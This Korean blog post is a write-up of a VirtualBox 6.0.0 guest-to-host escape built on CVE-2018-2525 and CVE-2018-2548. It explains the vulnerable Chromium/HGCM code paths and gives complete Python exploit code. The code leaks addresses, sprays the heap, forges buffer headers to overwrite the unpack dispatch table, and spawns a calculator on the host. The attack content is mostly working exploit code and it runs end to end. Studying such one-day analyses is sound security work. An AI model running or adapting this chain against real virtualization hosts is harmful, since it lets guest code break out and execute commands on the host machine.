Pwnstar
VirtualBox Escape(CVE-2018-2525 & CVE-2018-2548) 본문
Host가 리눅스인 환경에서 실행되는 원데이이기 때문에 멀티부팅으로 우분투 16.04를 올려 놓은 뒤 실행하길 추천한다.
BoB 수업을 들을 때 가장 먼저 내주셨던 원데이 익스 과제였는데, 과제 기간 내내 환경 구축만 하다 끝났던게 너무 아쉬워서 그때 못했던 과제들을 다시 해보려고 한다.
개요
virtualbox 6.0.0은 3D 가속화 기능을 사용함.
이 기능은 chromium library를 기반으로 만들어 졌는데, 이 라이브러리는 OpenGL을 기반으로 3D 그래픽을 remote rendering할 수 있음.
virtualbox는 chromium에 새로운 프로토콜을 추가해서 client와 server간 통신을 하는데, 이 프로토콜이 VBoxHGCM이다.(Host/Guest Communication Manager)
이 프로토콜을 사용해서 guestOS가 HostOS에서 실행중인 server와 통신이 가능하다.
chromium client(GeustOS)는 opcode + data로 구성된 메세지를 server로 전송하고, server(HostOS)에서는 이 메세지를 파싱하여 framebuffer에 저장한다.
메세지의 구조는 이렇게 된다.
여기까지가 최소한의 기본지식이라고 할 수 있다.
이 메세지는 OPCODE의 종류에 따라 다른 함수가 실행되는데, 먼저 인포릭을 위해서 우리가 사용할 함수는 crUnpackExtendGetAttribLocation 함수이다.
void crUnpackExtendGetAttribLocation(void)
{
int packet_length = READ_DATA(0, int);
GLuint program = READ_DATA(8, GLuint);
const char *name = DATA_POINTER(12, const char);
SET_RETURN_PTR(packet_length-16);
SET_WRITEBACK_PTR(packet_length-8);
cr_unpackDispatch.GetAttribLocation(program, name);
}
함수는 이렇게 생겼고, 취약점이 발생하는 부분은
SET_RETURN_PTR(packet_length-16);
이 부분이다.
트리거 코드를 짜서 한번 보내 본 후 메모리 구조가 어떻게 되어 있는 지 보자.
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import*
def mem_leak(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ '\x00\x00\x00' + chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
if __name__ == "__main__":
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
msg = mem_leak(0x00)
crmsg(client, msg)
mem_leak 함수의 offset 변수가 바로 packet_length가 되는 부분이다. 이 부분에 0x00을 넣음으로써 SET_RETURN_PTR의 인자로 음수가 넘어가게 했다.
이렇게 코드를 짜고 crUnpackExtendGetAttribLocation+49(SET_RETURN_PTR) 부분에 브포를 걸고 디버깅을 해 보자.
메모리를 보면 이렇게 되어 있다.
conn_id = 0x41414141
CR_MESSAGE_OPCODES
numOpcodes = 0x1
CR_EXTEND_OPCODE
247 = 0x7f
offset(0) 4바이트
CR_GETATTRIBLOCATION_EXTEND_OPCODE
95 = 0x5f
뒤에 0x41424344(data)
메세지로 입력한 값이 잘 들어가 있는 것을 볼 수 있음.
그리고 0x7fa599c35968의 주소에 texformat_l8이라는 함수(?)의 주소가 들어있는데, 이 함수를 leak함으로서 다른 필요한 함수들의 주소까지도 알아낼 수 있다.
처음에 offset을 0x28로 줬을 때 이 texformat_l8의 주소가 바로 출력되길래 이게 고정값인 줄 알았는데, 이 값의 위치가 계속 바뀌어서 반복문을 돌려주면서 계속 offset값을 변경시켜주어야 이 주소값을 알아낼 수 있었다. 그러면 texformat_l8의 주소 중 하위 3바이트는 고정일테니, 0x968과 동일한 값을 찾으면 반복문을 빠져나오게끔 코드를 짜 보자.
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import*
def mem_leak(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ '\x00\x00\x00' + chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
if __name__ == "__main__":
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
#off = 0x18
for off in range(0, 0xffff, 4):
msg = mem_leak(off)
add = crmsg(client, msg)
text = unpack("Q", add[8:16])[0]
text_off = text % 0x1000
if text_off == 0x968:
break
else:
continue
text = unpack("Q", add[8:16])[0]
print("text_format = " + hex(text))
libc = text - 0xe9968
print("libc address = " + hex(libc))
cr_server = libc + 0x318700
print("cr_server address = " + hex(cr_server))
cr_unpack = libc + 0x3234c0
print("cr_unpackDispatch = " + hex(cr_unpack))
crspawn = libc - 0x21daf0
print("crSpawn = " + hex(crspawn))
이렇게 하면 원하는 함수의 주소들을 모두 출력할 수 있다.
이제 CVE-2018-2548을 이용해서 integer overflow를 변형시켜 heap overflow를 일으키면 된다.
이 때 이용하는 함수는
server_readpixels.c
void SERVER_DISPATCH_APIENTRY
crServerDispatchReadPixels(GLint x, GLint y, GLsizei width, GLsizei height,
GLenum format, GLenum type, GLvoid *pixels)
{
const GLint stride = READ_DATA( 24, GLint );
const GLint alignment = READ_DATA( 28, GLint );
const GLint skipRows = READ_DATA( 32, GLint );
const GLint skipPixels = READ_DATA( 36, GLint );
const GLint bytes_per_row = READ_DATA( 40, GLint );
const GLint rowLength = READ_DATA( 44, GLint );
CRASSERT(bytes_per_row > 0);
#ifdef CR_ARB_pixel_buffer_object
if (crStateIsBufferBound(GL_PIXEL_PACK_BUFFER_ARB))
{
GLvoid *pbo_offset;
/*pixels are actually a pointer to location of 8byte network pointer in hgcm buffer
regardless of guest/host bitness we're using only 4lower bytes as there're no
pbo>4gb (yet?)
*/
pbo_offset = (GLvoid*) ((uintptr_t) *((GLint*)pixels));
cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
format, type, pbo_offset);
}
else
#endif
{
CRMessageReadPixels *rp;
uint32_t msg_len;
if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8)
{
crError("crServerDispatchReadPixels: parameters out of range");
return;
}
msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height; // <--
rp = (CRMessageReadPixels *) crAlloc( msg_len );
if (!rp)
{
crError("crServerDispatchReadPixels: out of memory");
return;
}
/* Note: the ReadPixels data gets densely packed into the buffer
* (no skip pixels, skip rows, etc. It's up to the receiver (pack spu,
* tilesort spu, etc) to apply the real PixelStore packing parameters.
*/
cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
format, type, rp + 1);
rp->header.type = CR_MESSAGE_READ_PIXELS;
rp->width = width;
rp->height = height;
rp->bytes_per_row = bytes_per_row;
rp->stride = stride;
rp->format = format;
rp->type = type;
rp->alignment = alignment;
rp->skipRows = skipRows;
rp->skipPixels = skipPixels;
rp->rowLength = rowLength;
/* <pixels> points to the 8-byte network pointer */
crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels) );
crNetSend( cr_server.curClient->conn, NULL, rp, msg_len );
crFree( rp );
}
}
중간에 주석으로 화살표가 있는 곳이 바로 취약점이 발생하는 곳이다.
CRMessageReadPixels 메세지의 구조체 크기는 최소 0x38이고, 이 크기보다 큰 메세지도 파싱할 수 있도록 의도한 것 같은데, bytes_per_row와 height의 값을 적절하게 주면 0x38보다 작게끔 만들어줄 수 있다.
여기서 만들어 줄 값은 0x20인데, 왜 하필 이 값이냐 하면,
우선 heap spray를 통해서 뿌려지는 메세지는 다음 함수로 뿌리게 된다.
chromium.py
def alloc_buf(client, sz, msg='a'):
buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
return buf
def crmsg(client, msg, bufsz=0x1000):
''' Allocate a buffer, write a Chromium message to it, and dispatch it. '''
assert len(msg) <= bufsz
buf = alloc_buf(client, bufsz, msg)
# buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, bufsz, 0, msg])
_, res, _ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, "A"*bufsz, 1337])
return res
엥 근데 이 파이썬 코드는 난데없이 어디서 튀어 나왔느냐.. 하면
앞서 VBoxHCGM 프로토콜을 통해서 guestOS와 hostOS가 통신을 한다고 설명한 바 있다. 이 통신을 파이썬으로 쉽게 사용하게끔 구현해 놓은 스크립트가 있다.
git clone github.com/niklasb/3dpwn
으로 설치할 수 있다.
alloc_buf 함수를 보면
buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
이 부분에서 hgcm_call 함수의 인자로 SHCRGL_FN_WRITE_BUFFER로 주게 되면 클라이언트가 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 함수를 호출할 때까지 free되지 않은 영역을 할당해주기 때문에 heap spray가 가능하다.
그러면 반복문을 통해서 alloc_buf로 엄청나게 많은 양의 할당을 해주게 되면 heap spray가 될 것이다.
#heap spray
abuf = []
for i in range(0, 5000):
buf = alloc_buf(client, 0x20, 'Z'*0x20)
abuf.append(buf)
이 코드를 추가해서 heap spary를 해 줬다.
여기에 짝수 인덱스만 free해주는 코드를 추가해서 돌려보자
#free
for i in range(0, 5000):
if i % 2 == 0:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [abuf[i], 'A', 0x00])
else:
continue
이렇게 하면
이렇게 heap spary가 된 상태에서
이렇게 된다.
여기서 이제 할 일은 앞서 0x20으로 사이즈를 속여놓은 read_pixel 메세지를 할당해주는 것이다.
그러면 free된 공간 중 한 곳에 들어가게 될 것이고, 아마 가장 먼저 free한 인덱스로 들어가게 될 것이다.
그러면 우리가 0x20으로 사이즈를 속여놓긴 했지만, 실제로 read_pixel 메세지의 사이즈는 0x38까지 입력을 할 수 있다. 때문에 다음에 올 메세지의 0x18만큼을 오버플로우하여 덮어줄 수 있다.
이 부분을 덮으면 어떻게 되느냐...
앞서 heap spray를 할 때 우리는 alloc_buf함수를 이용하여 할당을 해 줬다. 이때 할당한 공간의 구조는 CRVBOXSVCBUFFER_t인데,
위와 같은 구조로 생겼다.
0x18만큼을 덮게 되면 chunk Header와 uiID, uiSize까지 덮을 수 있게 된다. 이걸 이용해서 uiID와 uiSize를 변경해줄 것이다.
def read_pixel_deadbeef():
msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
+ '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
+ pack("<III", 0x00, 0x00, 0x00) #x, y, width
+ pack("<III", 0x08, 0x35, 0x00) #height = 0x8, format, type
+ pack("QQ", 0x00, 0x00) #stride, alignment, skiprows, skippixels
+ pack("<II", 0x1ffffffd, 0x00) #bytes_per_row = 0x1ffffffd, rowLength
+ pack("<I", 0xDEADBEEF) #pixels = 0xdeadbeef, 0xffffffff later it will become uiSize
+ pack("<I", 0xFFFFFFFF)
+ pack("<I", 0x00) )
return msg
이렇게 메세지를 구성해서 보내게 되면 우리는 alloc_buf함수를 사용하지 않고도 0x20사이즈라고 속이고 메세지를 보낼 수 있게 된다.
위 함수까지 합쳐서 코드를 실행하게 되면
이렇게 uiID와 uiSize가 내가 원하는 값으로 바뀐 CRVBOXSVCBUFFER_t 구조체를 볼 수 있다.
이제 uiID와 uiSize를 내가 원하는 값으로 바꾼 이유가 나온다.
hgcm_call 함수를 이용하면 원하는 uiID의 구조체에 접근해서 값을 수정할 수 있는데, 이때 0xdeadbeef의 구조체에 접근하면 size는 0xffffffff로 굉장히 큰 수이기 때문에 그 다음에 오는 값들을 모조리 수정할 수 있게 된다.
이걸 이용해서 0xdeadbeef 구조체의 다음다음에 올 구조체의 위치에 0xdeaddead라는 uiID를 가진 새로운 구조체를 만들어 줄 것이다.
uiID = 0xdeaddead
uiSize = 0x11111111
사이즈는 그렇게 클 필요는 없다 다만 메모리를 뜯어볼 때 조금이라도 편하게 하기 위함이다.
#overwrite CR_BOUNDSINFOCR_OPCODE to cr_unpackdispatch + 0xd8(crSpawn)
dispatch = (
pack("<II", 0xdeaddead, 0x11111111)
+ pack("<Q", cr_unpack + 0xd8)
)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, dispatch])
이렇게 짜서 실행해주면
내가 원하는 uiID 값을 가진 구조체가 두 개 생겼다.
그 전에 CRVBOXSVCBUFFER_t구조체에 대해서 조금 더 설명할 부분이 있는데, uiSize 바로 뒤에 나오는 값이 pdata이다. 이 곳에는 주소가 들어가는데, alloc_buf함수로 할당해 줄 때 data로 들어가는 값은 pdata에 있는 주소값에 들어가게 된다.
이게 무슨 말이냐하면, 만약 pdata를 우리가 원하는 주소로 덮을 수 있다면 이 주소에 overwrite하여 다른 함수를 호출할 수 있단 말이다.
여기서 최종적으로 실행할 함수는 바로 execvp함수인데,
argv = ["xcalc", NULL]
execvp("xcalc", argv)
이런 식으로 호출하게 된다.
그런데 이런 식으로 호출되는 함수가 바로 crUnpackBoundsInfoCR함수이고, 이게 crunpackDispatch+0xd8에 위치한 함수인데, 그래서 바로 위 코드에 0xdeaddead의 uiID를 가진 구조체에 crunpackDispatch+0xd8의 주소를 pdata에 넣어준 것이다. 그러면 이제 deaddead의 uiID에 접근해서 데이터를 쓰게 되면 crunpackDispatch+0xd8함수에 덮어쓰게 된다.
무슨 함수를 덮어쓰느냐하면 crSpawn함수이다. 왜냐하면 이 함수가 execvp를 호출하니까ㅎㅎ
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", crspawn)])
그 다음엔 xcalc 문자열을 더블포인터로 넣어주기 위해 희생할 다른 함수 하나가 필요하다.
나는 그냥 crunpackDispatch+0x00으로 잡았다.
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x98, pack("<Q", cr_unpack)])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", 0x00636c616378)])
요렇게 해서 보내주면
overwrite가 성공한 모습을 볼 수 있다.
마지막으로 crServerDispatchBoundsInfoCR함수를 호출하기 위해서 포맷에 맞춰 메세지를 보내줘야 한다.
//namhoon@virtualboxescape:~/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker$ cat unpack_bounds.c
/* Copyright (c) 2001, Stanford University
* All rights reserved
*
* See the file LICENSE.txt for information on redistributing this software.
*/
#include "unpacker.h"
#include "state/cr_statetypes.h"
void crUnpackBoundsInfoCR( void )
{
CRrecti bounds;
GLint len;
GLuint num_opcodes;
GLbyte *payload;
len = READ_DATA( 0, GLint );
bounds.x1 = READ_DATA( 4, GLint ); //calc 문자열
bounds.y1 = READ_DATA( 8, GLint ); //0
bounds.x2 = READ_DATA( 12, GLint ); //0
bounds.y2 = READ_DATA( 16, GLint ); //0
num_opcodes = READ_DATA( 20, GLuint );//address
payload = DATA_POINTER( 24, GLbyte );
cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes );
INCR_VAR_PTR();
}
위 포맷대로 맞춰서 메세지를 넣어주면 된다
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import*
def mem_leak(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ '\x00\x00\x00' + chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def read_pixel_deadbeef():
msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
+ '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
+ pack("<III", 0x00, 0x00, 0x00) #x, y, width
+ pack("<III", 0x08, 0x35, 0x00) #height = 0x8, format, type
+ pack("QQ", 0x00, 0x00) #stride, alignment, skiprows, skippixels
+ pack("<II", 0x1ffffffd, 0x00) #bytes_per_row = 0x1ffffffd, rowLength
+ pack("<I", 0xDEADBEEF) #pixels = 0xdeadbeef, 0xffffffff later it will become uiSize
+ pack("<I", 0xFFFFFFFF)
+ pack("<I", 0x00) )
return msg
def bound_info(calc, dispatch):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
+ '\x00\x00\x00' + chr(CR_BOUNDSINFOCR_OPCODE)
+ pack("<I", 0x00)
+ pack("<Q", calc)
+ pack("<III", 0x00, 0x00, 0x00)
+ pack("<Q", dispatch)
+ pack("<I", 0x00)
)
return msg
if __name__ == "__main__":
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
#off = 0x18
#b*crUnpackExtendGetAttribLocation+49
for off in range(0, 0xffff, 4):
msg = mem_leak(off)
add = crmsg(client, msg)
text = unpack("Q", add[8:16])[0]
text_off = text % 0x1000
if text_off == 0x968:
break
else:
continue
text = unpack("Q", add[8:16])[0]
print("text_format = " + hex(text))
libc = text - 0xe9968
print("libc address = " + hex(libc))
cr_server = libc + 0x318700
print("cr_server address = " + hex(cr_server))
cr_unpack = libc + 0x3234c0
print("cr_unpackDispatch = " + hex(cr_unpack))
crspawn = libc - 0x21daf0
print("crSpawn = " + hex(crspawn))
#b*crServerDispatchReadPixels
#heap spray
abuf = []
for i in range(0, 5000):
buf = alloc_buf(client, 0x20, 'Z'*0x20)
abuf.append(buf)
#free
for i in range(0, 1000):
if i % 2 == 0:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [abuf[i], 'A', 0x00])
else:
continue
#deadbeef
msg = read_pixel_deadbeef()
crmsg(client, msg)
#overwrite CR_BOUNDSINFOCR_OPCODE to cr_unpackdispatch + 0xd8(crSpawn)
dispatch = (
pack("<II", 0xdeaddead, 0x11111111)
+ pack("<Q", cr_unpack + 0xd8)
)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, dispatch])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", crspawn)])
#overwrite
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x98, pack("<Q", cr_unpack)])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", 0x00636c616378)])
crmsg(client, bound_info(0x00636c616378, cr_unpack))
요렇게 전체 익스코드가 완성되었다. 실행해주면
이렇게 gustOS에서 HostOS로 계산기를 띄울 수 있다.
소감 : 처음 해 본 원데이 분석이었는데 환경 구축에서 상당히 오래 걸리긴 했지만 되게 재밌게 했고, 그래도 많이 뿌듯하다. 분석 과정에서 내가 잘못 이해했거나, 빼 먹은 부분이 있다면 추후 계속 수정, 추가할 계획이다.
참고 자료:
https://wogh8732.tistory.com/274?category=804777
멘토님 강의 자료